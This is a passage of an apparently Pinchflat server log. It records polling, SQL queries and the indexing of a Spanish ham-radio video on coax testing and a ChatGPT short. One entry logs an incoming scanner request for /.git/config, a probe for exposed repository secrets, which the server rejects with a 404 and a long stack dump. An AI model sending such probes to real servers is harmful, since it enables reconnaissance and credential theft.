[debug] Current batch of media processed. Will check again in 1000ms 23:00:49.210 [debug] Current batch of media processed. Will check again in 1000ms 23:00:50.114 [debug] Current batch of media processed. Will check again in 1000ms 23:00:50.211 [debug] Current batch of media processed. Will check again in 1000ms 23:00:51.115 [debug] Current batch of media processed. Will check again in 1000ms 23:00:51.212 [debug] Current batch of media processed. Will check again in 1000ms 23:00:51.318 [info] {"source":"oban","duration":1050,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:00:52.116 [debug] Current batch of media processed. Will check again in 1000ms 23:00:52.213 [debug] Current batch of media processed. Will check again in 1000ms 23:00:53.117 [debug] Current batch of media processed. Will check again in 1000ms 23:00:53.214 [debug] Current batch of media processed. Will check again in 1000ms 23:00:54.118 [debug] Current batch of media processed. Will check again in 1000ms 23:00:54.215 [debug] Current batch of media processed. Will check again in 1000ms 23:00:55.119 [debug] Current batch of media processed. Will check again in 1000ms 23:00:55.216 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Muchas veces nos encontramos con rollos de cable viejo (nuestro o comprados en mercadillos) y no sabemos si usarlo o no. Os enseño una forma sencilla de, usando un nanoVNA, poder probar el cable y saber si es usable o si mejor lo tenemos que desechar.\n\nContenido del video\n00:00 - Inicio\n00:44 - Intro canal\n01:02 - Duración del cable\n03:48 - Midiendo el largo del cable\n10:11 - Factor de velocidad\n15:05 - Midiendo pérdidas\n24:04 - Comparando resultados\n\n#nanovna #radioaficionados #nanovna-h4 #hamradio #diyelectronics #coaxial #cable #pérdidas #loss #rg58 #rg213 #foam #hyperflex \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 1704, "filename" => "/downloads/music/ea3grn/106 - MIDIENDO Y PROBANDO CABLES COAXIALES VIEJOS CON EL NANOVNA.m4a", "id" => "OR2WfLk5AUo", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=OR2WfLk5AUo", "playlist_index" => 75, "timestamp" => 1680796818, "title" => "106 - MIDIENDO Y PROBANDO CABLES COAXIALES VIEJOS CON EL NANOVNA", "upload_date" => "20230406"} 23:00:55.217 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=741.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 23:00:55.218 [debug] QUERY OK source="sources" db=0.5ms idle=434.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:00:55.219 [debug] QUERY OK source="media_items" db=0.6ms idle=435.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-04-06 16:00:18Z], 3] 23:00:55.221 [debug] QUERY OK source="media_items" db=1.2ms idle=436.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Muchas veces nos encontramos con rollos de cable viejo (nuestro o comprados en mercadillos) y no sabemos si usarlo o no. Os enseño una forma sencilla de, usando un nanoVNA, poder probar el cable y saber si es usable o si mejor lo tenemos que desechar.\n\nContenido del video\n00:00 - Inicio\n00:44 - Intro canal\n01:02 - Duración del cable\n03:48 - Midiendo el largo del cable\n10:11 - Factor de velocidad\n15:05 - Midiendo pérdidas\n24:04 - Comparando resultados\n\n#nanovna #radioaficionados #nanovna-h4 #hamradio #diyelectronics #coaxial #cable #pérdidas #loss #rg58 #rg213 #foam #hyperflex \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "106 - MIDIENDO Y PROBANDO CABLES COAXIALES VIEJOS CON EL NANOVNA", "a7f3820e-3307-4d08-ab8e-2fb09b8263fc", 1704, false, "OR2WfLk5AUo", "https://www.youtube.com/watch?v=OR2WfLk5AUo", 75, "/downloads/music/ea3grn/106 - MIDIENDO Y PROBANDO CABLES COAXIALES VIEJOS CON EL NANOVNA.m4a", false, false, false, 3, [], 98, ~U[2023-04-06 16:00:18Z], ~U[2026-02-07 22:00:55Z], ~U[2026-02-07 22:00:55Z], "Muchas veces nos encontramos con rollos de cable viejo (nuestro o comprados en mercadillos) y no sabemos si usarlo o no. Os enseño una forma sencilla de, usando un nanoVNA, poder probar el cable y saber si es usable o si mejor lo tenemos que desechar.\n\nContenido del video\n00:00 - Inicio\n00:44 - Intro canal\n01:02 - Duración del cable\n03:48 - Midiendo el largo del cable\n10:11 - Factor de velocidad\n15:05 - Midiendo pérdidas\n24:04 - Comparando resultados\n\n#nanovna #radioaficionados #nanovna-h4 #hamradio #diyelectronics #coaxial #cable #pérdidas #loss #rg58 #rg213 #foam #hyperflex \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "106 - MIDIENDO Y PROBANDO CABLES COAXIALES VIEJOS CON EL NANOVNA", 1704, false, "OR2WfLk5AUo", "https://www.youtube.com/watch?v=OR2WfLk5AUo", "/downloads/music/ea3grn/106 - MIDIENDO Y PROBANDO CABLES COAXIALES VIEJOS CON EL NANOVNA.m4a", false, 3, ~U[2023-04-06 16:00:18Z]] 23:00:55.222 [debug] QUERY OK source="sources" db=0.6ms idle=437.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:00:55.223 [debug] QUERY OK source="media_profiles" db=1.3ms idle=4.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:00:55.224 [debug] QUERY OK source="media_items" db=0.5ms idle=5.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1454] 23:00:55.224 [debug] Current batch of media processed. Will check again in 1000ms 23:00:56.120 [debug] Current batch of media processed. Will check again in 1000ms 23:00:56.225 [debug] Current batch of media processed. Will check again in 1000ms 23:00:57.121 [debug] Current batch of media processed. Will check again in 1000ms 23:00:57.226 [debug] Current batch of media processed. Will check again in 1000ms 23:00:58.122 [debug] Current batch of media processed. Will check again in 1000ms 23:00:58.227 [debug] Current batch of media processed. Will check again in 1000ms 23:00:59.123 [debug] Current batch of media processed. Will check again in 1000ms 23:00:59.228 [debug] Current batch of media processed. Will check again in 1000ms 23:01:00.124 [debug] Current batch of media processed. Will check again in 1000ms 23:01:00.143 [info] {"source":"oban","duration":358,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:01:00.229 [debug] Current batch of media processed. Will check again in 1000ms 23:01:01.125 [debug] Current batch of media processed. Will check again in 1000ms 23:01:01.230 [debug] Current batch of media processed. Will check again in 1000ms 23:01:02.126 [debug] Current batch of media processed. Will check again in 1000ms 23:01:02.231 [debug] Current batch of media processed. Will check again in 1000ms 23:01:03.127 [debug] Current batch of media processed. Will check again in 1000ms 23:01:03.232 [debug] Current batch of media processed. Will check again in 1000ms 23:01:04.128 [debug] Current batch of media processed. Will check again in 1000ms 23:01:04.233 [debug] Current batch of media processed. Will check again in 1000ms 23:01:05.129 [debug] Current batch of media processed. Will check again in 1000ms 23:01:05.234 [debug] Current batch of media processed. Will check again in 1000ms 23:01:06.130 [debug] Current batch of media processed. Will check again in 1000ms 23:01:06.235 [debug] Current batch of media processed. Will check again in 1000ms 23:01:07.131 [debug] Current batch of media processed. Will check again in 1000ms 23:01:07.236 [debug] Current batch of media processed. Will check again in 1000ms 23:01:08.132 [debug] Current batch of media processed. Will check again in 1000ms 23:01:08.237 [debug] Current batch of media processed. Will check again in 1000ms 23:01:09.133 [debug] Current batch of media processed. Will check again in 1000ms 23:01:09.238 [debug] Current batch of media processed. Will check again in 1000ms 23:01:10.134 [debug] Current batch of media processed. Will check again in 1000ms 23:01:10.239 [debug] Current batch of media processed. Will check again in 1000ms 23:01:11.135 [debug] Current batch of media processed. Will check again in 1000ms 23:01:11.240 [debug] Current batch of media processed. Will check again in 1000ms 23:01:12.136 [debug] Current batch of media processed. Will check again in 1000ms 23:01:12.241 [debug] Current batch of media processed. Will check again in 1000ms 23:01:13.137 [debug] Current batch of media processed. Will check again in 1000ms 23:01:13.242 [debug] Current batch of media processed. Will check again in 1000ms 23:01:14.138 [debug] Current batch of media processed. Will check again in 1000ms 23:01:14.243 [debug] Current batch of media processed. Will check again in 1000ms 23:01:15.139 [debug] Current batch of media processed. Will check again in 1000ms 23:01:15.244 [debug] Current batch of media processed. Will check again in 1000ms 23:01:16.140 [debug] Current batch of media processed. Will check again in 1000ms 23:01:16.245 [debug] Current batch of media processed. Will check again in 1000ms 23:01:17.141 [debug] Current batch of media processed. Will check again in 1000ms 23:01:17.246 [debug] Current batch of media processed. Will check again in 1000ms 23:01:18.142 [debug] Current batch of media processed. Will check again in 1000ms 23:01:18.247 [debug] Current batch of media processed. Will check again in 1000ms 23:01:19.143 [debug] Current batch of media processed. Will check again in 1000ms 23:01:19.248 [debug] Current batch of media processed. Will check again in 1000ms 23:01:20.145 [debug] Current batch of media processed. Will check again in 1000ms 23:01:20.249 [debug] Current batch of media processed. Will check again in 1000ms 23:01:21.145 [debug] Current batch of media processed. Will check again in 1000ms 23:01:21.250 [debug] Current batch of media processed. Will check again in 1000ms 23:01:21.320 [info] {"source":"oban","duration":787,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:01:22.146 [debug] Current batch of media processed. Will check again in 1000ms 23:01:22.251 [debug] Current batch of media processed. Will check again in 1000ms 23:01:23.147 [debug] Current batch of media processed. Will check again in 1000ms 23:01:23.252 [debug] Current batch of media processed. Will check again in 1000ms 23:01:24.148 [debug] Current batch of media processed. Will check again in 1000ms 23:01:24.253 [debug] Current batch of media processed. Will check again in 1000ms 23:01:25.149 [debug] Current batch of media processed. Will check again in 1000ms 23:01:25.254 [debug] Current batch of media processed. Will check again in 1000ms 23:01:26.150 [debug] Current batch of media processed. Will check again in 1000ms 23:01:26.255 [debug] Current batch of media processed. Will check again in 1000ms 23:01:26.432 [info] GET /.git/config 23:01:26.436 [debug] QUERY OK source="settings" db=0.6ms idle=1649.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:01:26.437 [debug] QUERY OK source="settings" db=0.5ms idle=1650.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:01:26.437 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 23:01:26.438 [error] #PID<0.3035.0> running PinchflatWeb.Endpoint (connection #PID<0.3034.0>, stream id 1) terminated Server: 141.145.209.211:80 (http) Request: GET /.git/config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3034.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "141.145.209.211", peer: {{172, 22, 0, 1}, 43412}, bindings: %{}, sock: {{172, 22, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "connection" => "upgrade", "host" => "141.145.209.211", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36", "x-forwarded-for" => "134.199.168.121", "x-forwarded-proto" => "https", "x-real-ip" => "134.199.168.121" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "141.145.209.211", method: "GET", owner: #PID<0.3035.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://141.145.209.211", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 22, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"connection", "upgrade"}, {"host", "141.145.209.211"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"}, {"x-forwarded-for", "134.199.168.121"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "134.199.168.121"} ], request_path: "/.git/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJIV5z4O0YJGkJ8AACOx"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3034.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "141.145.209.211", peer: {{172, 22, 0, 1}, 43412}, bindings: %{}, sock: {{172, 22, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "connection" => "upgrade", "host" => "141.145.209.211", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36", "x-forwarded-for" => "134.199.168.121", "x-forwarded-proto" => "https", "x-real-ip" => "134.199.168.121" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3034.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "141.145.209.211", peer: {{172, 22, 0, 1}, 43412}, bindings: %{}, sock: {{172, 22, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "connection" => "upgrade", "host" => "141.145.209.211", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36", "x-forwarded-for" => "134.199.168.121", "x-forwarded-proto" => "https", "x-real-ip" => "134.199.168.121" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "141.145.209.211", method: "GET", owner: #PID<0.3035.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://141.145.209.211", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 22, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"connection", "upgrade"}, {"host", "141.145.209.211"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"}, {"x-forwarded-for", "134.199.168.121"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "134.199.168.121"} ], request_path: "/.git/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJIV5z4O0YJGkJ8AACOx"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil (truncated) 23:01:27.151 [debug] Current batch of media processed. Will check again in 1000ms 23:01:27.256 [debug] Current batch of media processed. Will check again in 1000ms 23:01:28.152 [debug] Current batch of media processed. Will check again in 1000ms 23:01:28.257 [debug] Current batch of media processed. Will check again in 1000ms 23:01:29.153 [debug] Current batch of media processed. Will check again in 1000ms 23:01:29.258 [debug] Current batch of media processed. Will check again in 1000ms 23:01:30.154 [debug] Current batch of media processed. Will check again in 1000ms 23:01:30.259 [debug] Current batch of media processed. Will check again in 1000ms 23:01:31.155 [debug] Current batch of media processed. Will check again in 1000ms 23:01:31.260 [debug] Current batch of media processed. Will check again in 1000ms 23:01:32.156 [debug] Current batch of media processed. Will check again in 1000ms 23:01:32.261 [debug] Current batch of media processed. Will check again in 1000ms 23:01:33.157 [debug] Current batch of media processed. Will check again in 1000ms 23:01:33.262 [debug] Current batch of media processed. Will check again in 1000ms 23:01:34.158 [debug] Current batch of media processed. Will check again in 1000ms 23:01:34.263 [debug] Current batch of media processed. Will check again in 1000ms 23:01:35.160 [debug] Current batch of media processed. Will check again in 1000ms 23:01:35.264 [debug] Current batch of media processed. Will check again in 1000ms 23:01:36.162 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "PARTE 15: CHATGPT NUEVAS FUNCIONALIDADES: Descubre la importancia de la personalización y cómo los GPTs están revolucionando la productividad. ¡Aprende cómo adaptar las herramientas a tus necesidades diarias para análisis de mercado, informes y más! Únete a nuestra discusión sobre el futuro de la personalización digital. #PersonalizaciónDigital #GPTs #Productividad #ChatGPT #AnálisisDeMercado #InteligenciaArtificial #HerramientasDigitales #Innovación #TransformaciónDigital #AprendizajeAutomático", "duration" => 54, "filename" => "/downloads/music/IA mí QUÉ/¡Personaliza tu IA y EXPLOTA tu productividad! 🚀.m4a", "id" => "eXzZ0jljzG4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/eXzZ0jljzG4", "playlist_index" => 20, "timestamp" => 1747065705, "title" => "¡Personaliza tu IA y EXPLOTA tu productividad! 🚀", "upload_date" => "20250512"} 23:01:36.163 [debug] QUERY OK source="sources" db=0.7ms idle=1377.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 23:01:36.167 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1380.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 23:01:36.168 [debug] QUERY OK source="media_items" db=0.6ms idle=609.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-12 16:01:45Z], 2] 23:01:36.174 [debug] QUERY OK source="media_items" db=5.9ms queue=0.2ms idle=382.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["PARTE 15: CHATGPT NUEVAS FUNCIONALIDADES: Descubre la importancia de la personalización y cómo los GPTs están revolucionando la productividad. ¡Aprende cómo adaptar las herramientas a tus necesidades diarias para análisis de mercado, informes y más! Únete a nuestra discusión sobre el futuro de la personalización digital. #PersonalizaciónDigital #GPTs #Productividad #ChatGPT #AnálisisDeMercado #InteligenciaArtificial #HerramientasDigitales #Innovación #TransformaciónDigital #AprendizajeAutomático", "¡Personaliza tu IA y EXPLOTA tu productividad! 🚀", "87925f78-929e-487e-a812-16c020ee628e", 54, false, "eXzZ0jljzG4", "https://www.youtube.com/shorts/eXzZ0jljzG4", 20, "/downloads/music/IA mí QUÉ/¡Personaliza tu IA y EXPLOTA tu productividad! 🚀.m4a", false, false, true, 2, [], 97, ~U[2025-05-12 16:01:45Z], ~U[2026-02-07 22:01:36Z], ~U[2026-02-07 22:01:36Z], "PARTE 15: CHATGPT NUEVAS FUNCIONALIDADES: Descubre la importancia de la personalización y cómo los GPTs están revolucionando la productividad. ¡Aprende cómo adaptar las herramientas a tus necesidades diarias para análisis de mercado, informes y más! Únete a nuestra discusión sobre el futuro de la personalización digital. #PersonalizaciónDigital #GPTs #Productividad #ChatGPT #AnálisisDeMercado #InteligenciaArtificial #HerramientasDigitales #Innovación #TransformaciónDigital #AprendizajeAutomático", "¡Personaliza tu IA y EXPLOTA tu productividad! 🚀", 54, false, "eXzZ0jljzG4", "https://www.youtube.com/shorts/eXzZ0jljzG4", "/downloads/music/IA mí QUÉ/¡Personaliza tu IA y EXPLOTA tu productividad! 🚀.m4a", true, 2, ~U[2025-05-12 16:01:45Z]] 23:01:36.175 [debug] QUERY OK source="sources" db=0.5ms idle=389.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 23:01:36.176 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=12.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:01:36.177 [debug] QUERY OK source="media_items" db=0.5ms idle=10.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= 